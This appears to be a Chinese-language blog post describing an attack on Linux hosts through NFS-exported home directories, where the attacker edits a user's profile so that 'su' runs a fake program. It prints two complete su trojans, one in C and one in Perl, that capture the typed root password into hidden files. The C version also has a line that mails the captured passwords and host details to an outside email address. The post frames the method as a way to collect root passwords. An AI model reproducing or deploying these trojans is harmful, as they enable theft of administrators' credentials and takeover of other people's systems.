基于Linux NFS的攻击

NFS是Linux主机通过网络共享文件的标准方法。客户端加载服务器上的目录,然后就可以访问本地磁盘存储一样访问文件,一般与NIS同时使用,但是NFS也同NIS一样,存在着不少的安全隐患。

通过showmount -e可以得到某台主机开放的共享文件目录,甚至可以从中获取到其中的一些访问规则,如果NFS主机提供了home目录的加载,我们则可以修改用户的配置文件,例如将su定义一个别名,这个别名我们写一个欺骗su程序,网站也有很多现成的,也可以参考我之前提供的两个fuck su的方法:

  1. /*   
  2.  * kpr-fakesu.c V0.9beta167 ;P  
  3.  * by koper <[email protected]>  
  4.  *  
  5.  * Setting up:  
  6.  * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c  
  7.  * admin@host:~$ mv .su /var/tmp/.su  
  8.  * admin@host:~$ cp .bash_profile .wgetrc  
  9.  * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile  
  10.  * admin@host:~$ logout  
  11.  * *** LOGIN ***  
  12.  * admin@host:~$ su  
  13.  * Password:   
  14.  * su: Authentication failure  
  15.  * Sorry.  
  16.  * admin@host:~$ su  
  17.  * Password:   
  18.  * root@host:~# logout  
  19.  * admin@host:~$ cat /var/tmp/.pwds  
  20.  * root:dupcia17  
  21.  * admin@host:~$   
  22.  *   
  23.  * /bin/su sends various failure information depending on the OS ver.  
  24.  * Please modify the source to make it "fit" ;)  
  25.  *   
  26.  */ 
  27.  
  28. #include <stdio.h>  
  29. #include <stdlib.h>   
  30.   
  31. main(int argc, char *argv[]){   
  32.   
  33. FILE *fp;   
  34. char *user;   
  35. char *pass;   
  36. char filex[100];   
  37. char clean[100];   
  38.   
  39. sprintf(filex,"/var/tmp/.pwds");   
  40. sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile");   
  41. if(argc==1) user="root";   
  42. if(argc==2) user=argv[1];   
  43. if(argc>2){   
  44.    if(strcmp(argv[1], "-l")==0)   
  45.      user=argv[2];   
  46.    else user=argv[1];}   
  47.   
  48. fprintf(stdout,"Password: "); pass=getpass ("");   
  49. system("sleep 3");   
  50. fprintf(stdout,"su: Authentication failure\nSorry.\n");   
  51.   
  52. if ((fp=fopen(filex,"w")) != NULL)   
  53.   {   
  54.   fprintf(fp, "%s:%s\n", user, pass);   
  55.   fclose(fp);   
  56.   }   
  57.   
  58. system(clean);   
  59. system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");   
  60.   
  61. /* If you don't want password in your e-mail uncomment this line: */  
  62.   
  63. system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail [email protected]");   
  64.   

 

  1. #!/usr/bin/perl  
  2.  
  3. ####################################################################################################  
  4. [email protected] 2006 su trojan check so the su path is correct.                                 #  
  5. # then make alias for trojan first it reads the pass then exec the real su.                       #  
  6. # logging to /tmp/.pass                                                                         #               
  7. ####################################################################################################   
  8.   
  9.   
  10. print "Password: "; $s1=<STDIN>;   
  11. print "Sorry.\n";   
  12. $s2="Password is: ";   
  13. $s3=`date +%Y-%m-%d`;   
  14. open (users, ">>/tmp/.pass") || die ("Could not open file. $!");   
  15. print users ($s2, $s1,$s3);   
  16. close (users);   
  17.   
  18. system("/bin/su")   

如此等待数小时,我们就可能获取到不少主机的root密码呢?虽然在linux提供了比NFS更安全的AFS来替换,不过AFS的复杂管理让不少管理员还是很少使用。

 

你可能感兴趣的:(linux,职场,nfs,休闲,Linux攻击)